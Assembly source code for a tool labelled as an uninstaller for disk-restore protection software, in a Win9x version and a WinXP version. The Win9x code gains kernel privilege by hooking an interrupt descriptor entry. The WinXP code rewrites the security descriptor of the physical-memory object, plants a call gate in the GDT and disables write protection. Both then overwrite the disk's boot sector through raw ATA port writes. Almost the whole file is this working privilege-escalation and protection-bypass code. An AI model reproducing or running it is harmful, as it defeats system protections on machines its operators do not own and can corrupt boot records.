;天龙还原精灵卸载器1.0 for win9x .386P .MODEL FLAT, STDCALL ; with STDCALL we must reverse the sequence of pushes option casemap :none ; case sensitive include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib
SetUnhandledExceptionFilter PROTO :DWORD
.DATA ;---- Error Messages szExceptionCaused db "不能进入RING 0,请在WIN9X下运行!",0 szError db "Error",0 Caption db ’天龙还原精灵卸载器1.0 for win9x’,0 ShowText db ’该程序用来卸载还原类软件 by:风般的男人’,0 ExceptionUsed EQU 5 buffer db 033h,0c0h,08eh,0d0h,0bch,000h,07ch,0fbh,050h,007h,050h,01fh,0fch,0beh,01bh,07ch db 0bfH,01bH,006H,050H,057H,0b9H,0e5H,001H,0f3H,0a4H,0cbH,0beH,0beH,007H,0b1H,004H db 038H,02cH,07cH,009H,075H,015H,083H,0c6H,010H,0e2H,0f5H,0cdH,018H,08bH,014H,08bH db 0eeH,083H,0c6H,010H,049H,074H,016H,038H,02cH,074H,0f6H,0beH,010H,007H,04eH,0acH db 03cH,000H,074H,0faH,0bbH,007H,000H,0b4H,00eH,0cdH,010H,0ebH,0f2H,089H,046H,025H db 096H,08aH,046H,004H,0b4H,006H,03cH,00eH,074H,011H,0b4H,00bH,03cH,00cH,074H,005H db 03aH,0c4H,075H,02bH,040H,0c6H,046H,025H,006H,075H,024H,0bbH,0aaH,055H,050H,0b4H db 041H,0cdH,013H,058H,072H,016H,081H,0fbH,055H,0aaH,075H,010H,0f6H,0c1H,001H,074H db 00bH,08aH,0e0H,088H,056H,024H,0c7H,006H,0a1H,006H,0ebH,01eH,088H,066H,004H,0bfH db 00aH,000H,0b8H,001H,002H,08bH,0dcH,033H,0c9H,083H,0ffH,005H,07fH,003H,08bH,04eH db 025H,003H,04eH,002H,0cdH,013H,072H,029H,0beH,046H,007H,081H,03eH,0feH,07dH,055H db 0aaH,074H,05aH,083H,0efH,005H,07fH,0daH,085H,0f6H,075H,083H,0beH,027H,007H,0ebH db 08aH,098H,091H,052H,099H,003H,046H,008H,013H,056H,00aH,0e8H,012H,000H,05aH,0ebH db 0d5H,04fH,074H,0e4H,033H,0c0H,0cdH,013H,0ebH,0b8H,000H,000H,080H,018H,002H,023H db 056H,033H,0f6H,056H,056H,052H,050H,006H,053H,051H,0beH,010H,000H,056H,08bH,0f4H db 050H,052H,0b8H,000H,042H,08aH,056H,024H,0cdH,013H,05aH,058H,08dH,064H,010H,072H db 00aH,040H,075H,001H,042H,080H,0c7H,002H,0e2H,0f7H,0f8H,05eH,0c3H,0ebH,074H,049H db 06eH,076H,061H,06cH,069H,064H,020H,070H,061H,072H,074H,069H,074H,069H,06fH,06eH db 020H,074H,061H,062H,06cH,065H,000H,045H,072H,072H,06fH,072H,020H,06cH,06fH,061H db 064H,069H,06eH,067H,020H,06fH,070H,065H,072H,061H,074H,069H,06eH,067H,020H,073H db 079H,073H,074H,065H,06dH,000H,04dH,069H,073H,073H,069H,06eH,067H,020H,06fH,070H db 065H,072H,061H,074H,069H,06eH,067H,020H,073H,079H,073H,074H,065H,06dH,000H,000H .DATA? lpOldGate dd ? IDT db 6 dup (?) buffer2 db 512 dup (?)
.CODE start: push offset ExceptCallBack; (security if ring transform doesn’t work) call SetUnhandledExceptionFilter ; Catch exceptions call ShowBuffer push offset Ring0Code call ToRing0Code invoke ExitProcess,0 ; exit
Ring0Code PROC ; Ring0 code here..
mov dx,1f6h ;Drive and head port mov al,0a0h ;Drive 0,Head 0 out dx,al
mov dx,1f2h ;Sector count port mov al,1 ;Read One Sector out dx,al
mov dx,1f3h ;Sector number port mov al,1 ;Read One Sector out dx,al
mov dx,1f4h ;Cylinder low port xor al,al ;Cylinder 0 out dx,al
mov dx,1f5h ;Cylinder high port xor al,al ;The rest of Cylinder 0 out dx,al mov dx,1f7h ;Command port mov al,20h ;Read with Entry out dx,al Still_going: in al,dx test al,8 ;This means the sector buffer requires servcing jz Still_going;do not continue until the sector buffer is ready xor ecx,ecx mov cx,512/2 ;one sector/2 mov edi,offset buffer2 mov dx,1f0h ;data port - data comes in and out here cli cld rep insw sti
xor ecx,ecx mov cx,352/2 mov esi,offset buffer mov edi,offset buffer2 rep movsw
mov dx,1f6h ;Drive and head port mov al,0a0h ;Drive 0, head 0 out dx,al mov dx,1f2h ;Sector count port mov al,1 ;Write one sector out dx,al mov dx,1f3h ;Sector number port mov al,1 ;Wrote to sector two out dx,al mov dx,1f4h ;Cylinder low port mov al,0 ;Cylinder 0 out dx,al mov dx,1f5h ;Cylinder high port mov al,0 ;The rest of the cylinder 0 out dx,al mov dx,1f7h ;Command port mov al,30h ;Write with retry. out dx,al oogle: in al,dx test al,8 ;Wait for sector buffer ready. jz oogle xor ecx,ecx mov cx,512/2 ;One sector /2 mov esi,offset buffer2 mov dx,1f0h ;Data port - data comes in and out of here. cli cld rep outsw ;Send it. sti iretd Ring0Code ENDP
ShowBuffer proc invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK ret ShowBuffer endp
ExceptCallBack PROC invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0 invoke ExitProcess, -1 ret ExceptCallBack ENDP ToRing0Code proc Ring0:DWORD sidt fword ptr IDT ; fetch IDT register
mov ebx, dword ptr [IDT+2] ; ebx -> IDT add ebx, 8*ExceptionUsed ; Ebx -> IDT entry of ExceptionUsed
cli ; Clear interupts
mov dx, word ptr [ebx+6] ; Save the current gate highword shl edx, 16d mov dx, word ptr [ebx] ; lowword mov [lpOldGate], edx
mov eax, Ring0 ; "install hook" - that is newgate mov word ptr [ebx], ax ; lowword shr eax, 16d mov word ptr [ebx+6], ax ; highword
int ExceptionUsed ; cause exception
mov ebx, dword ptr [IDT+2] ; restore gate add ebx, 8*ExceptionUsed mov edx, [lpOldGate] mov word ptr [ebx], dx shr edx, 16d mov word ptr [ebx+6], dx ret ToRing0Code endp end start
;for winxp .686p .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib DEBUG = TRUE ShowError proto :DWORD
;常量定义 NULL = 0 MB_OK = 0 INVALID_HANDLE_value = -1 GENERIC_READ = 80000000H GENERIC_WRITE = 40000000H FILE_SHARE_READ = 1 FILE_SHARE_WRITE = 2 FILE_SHARE_DELETE = 4 OPEN_EXISTING = 3
HMODULE typedef dword NTSTATUS typedef dword PACL typedef dword PSECURITY_DEscriptOR typedef dword
OBJ_INHERIT=2 OBJ_PERMANENT=10h OBJ_EXCLUSIVE=20h OBJ_CASE_INSENSITIVE=40h OBJ_OPENIF=80h OBJ_OPENLINK =100h OBJ_KERNEL_HANDLE=200 OBJ_VALID_ATTRIBUTES=3F2h
SE_KERNEL_OBJECT = 6 GRANT_ACCESS =1 NO_INHERITANCE =0 TRUSTEE_IS_NAME=1 TRUSTEE_IS_USER=1 STATUS_SUCCESS =0 STATUS_ACCESS_DENIED =0C0000022h
STATUS_ACCESS_VIOLATION equ 0C0000005h STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h SystemModuleInformation equ 11 PVOID TYPEDEF DWORD UNLONG TYPEDEF DWORD CHAR TYPEDEF BYTE
UNICODE_STRING struct nLength word ? MaximumLength word ? Buffer dword ? UNICODE_STRING ends
OBJECT_ATTRIBUTES struct nLength dword ? RootDirectory HANDLE ? ObjectName dword ?;PUNICODE_STRING Attributes dword ?; SecurityDescriptor dword ?; PVOID // Points to type SECURITY_DEscriptOR SecurityQualityOfService dword ?;PVOID // Points to type SECURITY_QUALITY_OF_SERVICE OBJECT_ATTRIBUTES ends
TRUSTEE struct pMultipleTrustee dword ?;PTRUSTEE MultipleTrusteeOperation dword ?; MULTIPLE_TRUSTEE_OPERATION TrusteeForm dword ?;TRUSTEE_FORM TrusteeType dword ?;TRUSTEE_TYPE ptstrName dword ?;LPTSTR TRUSTEE ends
EXPLICIT_ACCESS struct grfAccessPermissions DWORD ? grfAccessMode dword ? ;ACCESS_MODE grfInheritance DWORD ? ; Trustee TRUSTEE <> ; EXPLICIT_ACCESS ends
MyGATE struct ;门结构类型定义 OFFSETL WORD ? ;32位偏移的低16位 SELECTOR WORd ? ;选择子 DCOUNT BYTE ? ;双字计数字段 GTYPE BYTE ? ;类型 OFFSETH WORD ? ;32位偏移的高16位 MyGATE ends
SetPhyscialMemorySectionCanBeWrited proto :dword MiniMmGetPhysicalAddress proto :dword
ENTERRING0 macro pushad pushfd cli mov eax,cr0 ;get rid off readonly protect and eax,0fffeffffh mov cr0,eax endm
LEAVERING0 macro mov eax,cr0 ;restore readonly protect or eax,10000h mov cr0,eax sti popfd popad retf endm
UNICODE_STR macro str irpc _c, db ’&_c’ db 0 endm endm
.data? GdtLimit dw ? GdtAddr dd ?
mapAddr dd ? OldEsp dd ?
readed dw ?
Buffer db 512 dup(?) .data FileName db ’\\.\PHYSICALDRIVE0’,0 align 4 ;双字对齐 readed1 dd 0 hFile dd 0 ErrCreate db ’请在NT下运行该程序!’,0 ErrRead db ’读盘错误!’,0
align 4 objname dw objnamestr_size,objnamestr_size+2 objnameptr dd 0 objnamestr equ this byte UNICODE_STR <\Device\PhysicalMemory> objnamestr_size equ $-objnamestr
align 4 ObjAttr db 24 dup (0) IsIdtFlag dd 0 Callgt dq 0 ;call gate’s sel:off Caption db ’天龙还原精灵卸载器2.0 FOR:WINXP’,0 ShowText db ’该程序用来卸载还原类软件 by:风般的男人(www.lsky.net www.hacksoft.com)’,0 .code _Ring0Proc PROC ; Ring0 code here.. ENTERRING0 mov dx,1f6h ;Drive and head port mov al,0a0h ;Drive 0, head 0 out dx,al mov dx,1f2h ;Sector count port mov al,1 ;Write one sector out dx,al mov dx,1f3h ;Sector number port mov al,1 ;Wrote to sector two out dx,al mov dx,1f4h ;Cylinder low port mov al,0 ;Cylinder 0 out dx,al mov dx,1f5h ;Cylinder high port mov al,0 ;The rest of the cylinder 0 out dx,al mov dx,1f7h ;Command port mov al,30h ;Write with retry. out dx,al oogle: in al,dx test al,8 ;Wait for sector buffer ready. jz oogle xor ecx,ecx mov cx,512/2 ;One sector /2 mov esi,offset Buffer mov dx,1f0h ;Data port - data comes in and out of here. rep outsw ;Send it. LEAVERING0 _Ring0Proc ENDP Ring0CodeLen=$-_Ring0Proc
SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi hSection:HANDLE local pDacl: PACL local pNewDacl:PACL local pSD :PSECURITY_DEscriptOR local dwRes:DWORD ; local ea:EXPLICIT_ACCESS ; invoke GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\ NULL,NULL, addr pDacl,NULL, addr pSD cmp eax,ERROR_SUCCESS jz @f jmp OutSet @@: mov dwRes,eax mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2 mov ea.grfAccessMode ,GRANT_ACCESS;1 mov ea.grfInheritance,NO_INHERITANCE;0 mov ea.Trustee.pMultipleTrustee,0 mov ea.Trustee.MultipleTrusteeOperation,0 mov ea.Trustee.TrusteeForm,TRUSTEE_IS_NAME;1 mov ea.Trustee.TrusteeType,TRUSTEE_IS_USER;1 call @f db "CURRENT_USER",0 @@: pop edx mov ea.Trustee.ptstrName,edx invoke SetEntriesInAcl,1,addr ea,pDacl,addr pNewDacl cmp eax,ERROR_SUCCESS jz @f jmp OutSet @@: invoke SetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\ NULL,NULL,pNewDacl,NULL OutSet: cmp pSD,0 jz @f invoke LocalFree,pSD @@: cmp pNewDacl,0 jz @f invoke LocalFree,pNewDacl @@: ret SetPhyscialMemorySectionCanBeWrited endp
MiniMmGetPhysicalAddress proc virtualaddress:dword mov eax,virtualaddress cmp eax,80000000h jb @f cmp eax,0a0000000h jae @f and eax,1FFFF000h ret @@: mov eax,0 ret MiniMmGetPhysicalAddress endp
ExecRing0Proc proc Entry:ULONG,seglen:ULONG local tmpSel:dword local setcg:dword local BaseAddress:dword local NtdllMod :dword ;300 local hSection:HANDLE local status:NTSTATUS local objectAttributes:OBJECT_ATTRIBUTES local objName:UNICODE_STRING mov status,STATUS_SUCCESS; sgdt GdtLimit invoke MiniMmGetPhysicalAddress,GdtAddr mov mapAddr,eax test eax,eax jz Exit1 call @f db "Ntdll.dll",0 @@: call LoadLibraryA mov NtdllMod,eax
lea edx,objnamestr mov objnameptr,edx lea edi,ObjAttr and di,0fffch ;align to 4 bytes,or ZwOpenSection will fail push edi ;edi->ObjAttr push 24 ;length of <\Device\PhysicalMemory> pop ecx push ecx xor eax,eax rep stosb ;put ObjAttr with 0 pop ecx pop edi mov esi,edi stosd mov dword ptr[esi],ecx stosd lea eax,[edx-8] ;eax->objname stosd ;ObjAddr(18h,00,00,00,00,00,00,00,offset objname,40,02,00,00,dd 2 dup(0) mov dword ptr [edi],240h
call @f db "ZwOpenSection",0 @@: push NtdllMod call GetProcAddress mov ebx,eax ;ebx=ZwOpenSection
push esi ;esi->ObjAttr push SECTION_MAP_READ or SECTION_MAP_WRITE lea edi,hSection push edi ;edi->hSection call eax ;ZwOpenSection(&hSection,SECTION_MAP_READ or SECTION_MAP_WRITE,ObjAttr)
mov status,eax cmp status,STATUS_ACCESS_DENIED jnz AccessPermit mov eax,ebx
push esi push READ_CONTROL or WRITE_DAC push edi call eax
mov status,eax invoke SetPhyscialMemorySectionCanBeWrited,hSection
call @f db "ZwClose",0 @@: push NtdllMod call GetProcAddress
push hSection call eax ;zwClose hSection
mov eax,ebx
push esi push SECTION_MAP_READ or SECTION_MAP_WRITE lea edi,hSection push edi call eax mov status ,eax ;status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes); AccessPermit: cmp status ,STATUS_SUCCESS jz @f ;printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status); ;return 0; mov eax,0 ret @@: movzx eax,word ptr[GdtLimit] inc eax invoke MapViewOfFile,hSection, FILE_MAP_READ or FILE_MAP_WRITE, 0, mapAddr, \ eax mov BaseAddress,eax cmp BaseAddress,0 jnz @f ;printf("Error MapViewOffile:"); ;PrintWin32Error(GetLastError()); return 0; mov eax,0 ret @@: mov esi,eax ;esi->gdt base movzx eax,word ptr GdtLimit ;eax=gdt limit mov IsIdtFlag,0 call Search_XDT mov tmpSel,eax mov setcg,FALSE; mov esi,BaseAddress mov ebx,eax add ebx,esi assume ebx:ptr MyGATE mov edx,Entry mov [ebx].OFFSETL,dx mov [ebx].SELECTOR ,8 mov [ebx].DCOUNT ,0 mov [ebx].GTYPE,0ech shr edx,16 mov [ebx].OFFSETH,dx mov setcg,TRUE cmp setcg,0 jnz ChangeOK call @f db "ZwClose",0 @@: push NtdllMod call GetProcAddress push hSection call eax xor eax,eax ret ChangeOK: and dword ptr Callgt,0 or al,3h mov word ptr [Callgt+4],ax ;farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;
invoke VirtualLock,Entry,seglen test eax,eax jnz @f xor eax,eax ret @@: invoke GetCurrentThread invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL
invoke Sleep,0 call fword ptr [Callgt] ;use callgate to Ring0! ;_asm call fword ptr [farcall] invoke GetCurrentThread invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL
invoke VirtualUnlock,Entry,seglen
;//Clear callgate ;*(ULONG *)cg=0; ;*((ULONG *)cg+1)=0; mov esi,BaseAddress mov eax,tmpSel add eax,esi mov dword ptr[eax],0 mov dword ptr[eax+4],0 ;ZwClose(hSection); call @f db "ZwClose",0 @@: push NtdllMod call GetProcAddress push hSection call eax mov eax,TRUE ret ExecRing0Proc endp
Search_XDT proc near ;entry esi==Base of Idt or GDT ;Eax==Limit pushad mov ebx,eax ;ebx=limit mov eax,8 ; skipping null selector @@1: cmp IsIdtFlag,1 jz IsIdt cmp dword ptr [esi+eax+0],0 ;gdt jnz @@2 cmp dword ptr [esi+eax+4],0 jz @@3 jmp @@2 IsIdt: cmp dword ptr [esi+eax+0],80000h ;idt jnz @@2 cmp dword ptr [esi+eax+4],0 jz @@3 @@2: add eax,8 cmp eax,ebx jb @@1 ;if we haven’t found any free GDT entry, ;lets use the last two entries mov eax,ebx sub eax,7 @@3: mov [esp+4*7],eax ; return off in eax popad ; eax=free GDT or IDT entry selector ret ;500 Search_XDT endp
main: ;建立文件 invoke CreateFileA,offset FileName,GENERIC_READ,FILE_SHARE_READ OR FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL mov [hFile],eax cmp eax,INVALID_HANDLE_value jnz read ;显示错误信息 invoke ShowError,offset ErrCreate read: ;读数据 invoke ReadFile,eax,offset Buffer,512,offset readed1,NULL cmp eax,0 jnz next ;显示错误信息 invoke ShowError,offset ErrRead
ShowError proc ,MESSAGE:DWORD ;显示出错信息并退出 invoke MessageBoxA,NULL,MESSAGE,offset Caption,MB_OK cmp [hFile],0 jz endShowErr invoke CloseHandle ,[hFile] ;关闭句柄 endShowErr: invoke ExitProcess,0 ;退出 ShowError endp
next: assume fs:nothing push offset MySEH push fs:[0] mov fs:[0],esp mov OldEsp,esp mov ax,ds ;if Win9x? test ax,4 jnz Exit1 invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK invoke VirtualLock,offset _Ring0Proc,Ring0CodeLen ;invoke VirtualLock,offset r0Data,sizeof(RING0DATA) invoke ExecRing0Proc,offset _Ring0Proc,Ring0CodeLen ;invoke VirtualUnlock,offset r0Data,sizeof(RING0DATA) invoke VirtualUnlock,offset _Ring0Proc,Ring0CodeLen
Exit1: pop fs:[0] add esp,4 invoke ExitProcess,0
MySEH : mov esp,OldEsp pop fs:[0] add esp,4 invoke ExitProcess,-1 end main |